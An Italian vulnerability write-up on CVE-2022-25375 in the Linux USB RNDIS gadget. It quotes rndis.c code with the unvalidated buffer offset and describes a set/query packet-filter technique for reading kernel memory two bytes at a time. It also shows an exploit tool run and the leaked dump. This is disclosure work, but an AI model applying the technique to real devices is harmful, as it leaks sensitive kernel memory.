
CVE-2022-25375 - Exploit dimostrativo del gadget USB RNDIS
Il gadget USB RNDIS può essere sfruttato per scaricare il contenuto dello spazio di memoria del kernel tramite il meccanismo di aggiornamento del filtro dei pacchetti.
Il gestore della richiesta di trasferimento di controllo USB RNDIS_MSG_SET - rndis_set_response chiama gen_ndis_set_resp passando un puntatore a buffer con offset pari a BufOffset + 8. La variabile BufOffset viene recuperata dal messaggio RNDIS e non viene validata per garantire che rispetti i limiti del buffer. Di conseguenza, manipolando il membro InformationBufferOffset a quattro byte di rndis_set_msg_type, un attaccante può spostare il buffer effettivo fino a 0xffffffff byte.
rndis.c - rndis_msg_parser
case RNDIS_MSG_QUERY:
return rndis_query_response(params,
(rndis_query_msg_type *)buf);
case RNDIS_MSG_SET:
return rndis_set_response(params, (rndis_set_msg_type *)buf);
rndis.c - rndis_set_response
static int rndis_set_response(struct rndis_params *params,
rndis_set_msg_type *buf)
{
u32 BufLength, BufOffset;
rndis_set_cmplt_type *resp;
rndis_resp_t *r;
r = rndis_add_response(params, sizeof(rndis_set_cmplt_type));
if (!r)
return -ENOMEM;
resp = (rndis_set_cmplt_type *)r->buf;
BufLength = le32_to_cpu(buf->InformationBufferLength);
BufOffset = le32_to_cpu(buf->InformationBufferOffset);
#ifdef VERBOSE_DEBUG
pr_debug("%s: Length: %d\n", __func__, BufLength);
pr_debug("%s: Offset: %d\n", __func__, BufOffset);
pr_debug("%s: InfoBuffer: ", __func__);
for (i = 0; i < BufLength; i++) {
pr_debug("%02x ", *(((u8 *) buf) + i + 8 + BufOffset));
}
pr_debug("\n");
#endif
resp->MessageType = cpu_to_le32(RNDIS_MSG_SET_C);
resp->MessageLength = cpu_to_le32(16);
resp->RequestID = buf->RequestID; /* Still LE in msg buffer */
if (gen_ndis_set_resp(params, le32_to_cpu(buf->OID),
((u8 *)buf) + 8 + BufOffset, BufLength, r))
resp->Status = cpu_to_le32(RNDIS_STATUS_NOT_SUPPORTED);
else
resp->Status = cpu_to_le32(RNDIS_STATUS_SUCCESS);
params->resp_avail(params->v);
return 0;
}
Successivamente, il codice responsabile della gestione dell'OID RNDIS_OID_GEN_CURRENT_PACKET_FILTER imposta il filtro dei pacchetti corrente al valore puntato dal puntatore buf. Con l'offset applicato, ciò consente di recuperare due byte a un indirizzo specificato e memorizzare il valore nel filtro dei pacchetti.
rndis.c - gen_ndis_set_resp
switch (OID) {
case RNDIS_OID_GEN_CURRENT_PACKET_FILTER:
/* these NDIS_PACKET_TYPE_* bitflags are shared with
* cdc_filter; it's not RNDIS-specific
* NDIS_PACKET_TYPE_x == USB_CDC_PACKET_TYPE_x for x in:
* PROMISCUOUS, DIRECTED,
* MULTICAST, ALL_MULTICAST, BROADCAST
*/
*params->filter = (u16)get_unaligned_le32(buf);
pr_debug("%s: RNDIS_OID_GEN_CURRENT_PACKET_FILTER %08x\n",
__func__, *params->filter);
Il passo successivo consiste nel recuperare il valore del filtro dei pacchetti utilizzando una combinazione di USB_CDC_SEND_ENCAPSULATED_COMMAND con RNDIS_MSG_QUERY per l'OID RNDIS_OID_GEN_CURRENT_PACKET_FILTER e di richieste di trasferimento di controllo USB_CDC_GET_ENCAPSULATED_RESPONSE.
Ripetendo l'operazione di impostazione/lettura del filtro dei pacchetti con InformationBufferOffset incrementato nella richiesta RNDIS, è possibile estrarre fino a 0xffffffff byte di memoria del kernel, due byte alla volta. Per grandi quantità di dati il processo è piuttosto lento ma comunque efficace.
$ sudo python3 rndisco.py -v 0x1b67 -p 0x400c -l 0x3fffc > /tmp/rpi_rndis.dmp
strings /tmp/rpi_rndis.dmp -n8 | tail -n 6
stp_proto_unregister
<30>Jan 27 14:39:48 dhcpcd[486]: usb0: IAID be:53:70:24
<30>Jan 27 14:39:46 dhcpcd[486]: usb0: IAID be:53:70:24
<30>Jan 27 14:39:46 dhcpcd[486]: usb0: adding address fe80::6f70:c737:89e:697a
<30>Jan 27 14:39:40 dhcpcd[486]: usb0: carrier lost
<30>Jan 27 14:39:48 dhcpcd[486]: usb0: adding address fe80::6f70:c737:89e:697a
I dispositivi Linux che espongono gadget USB RNDIS possono essere sfruttati per estrarre informazioni sensibili.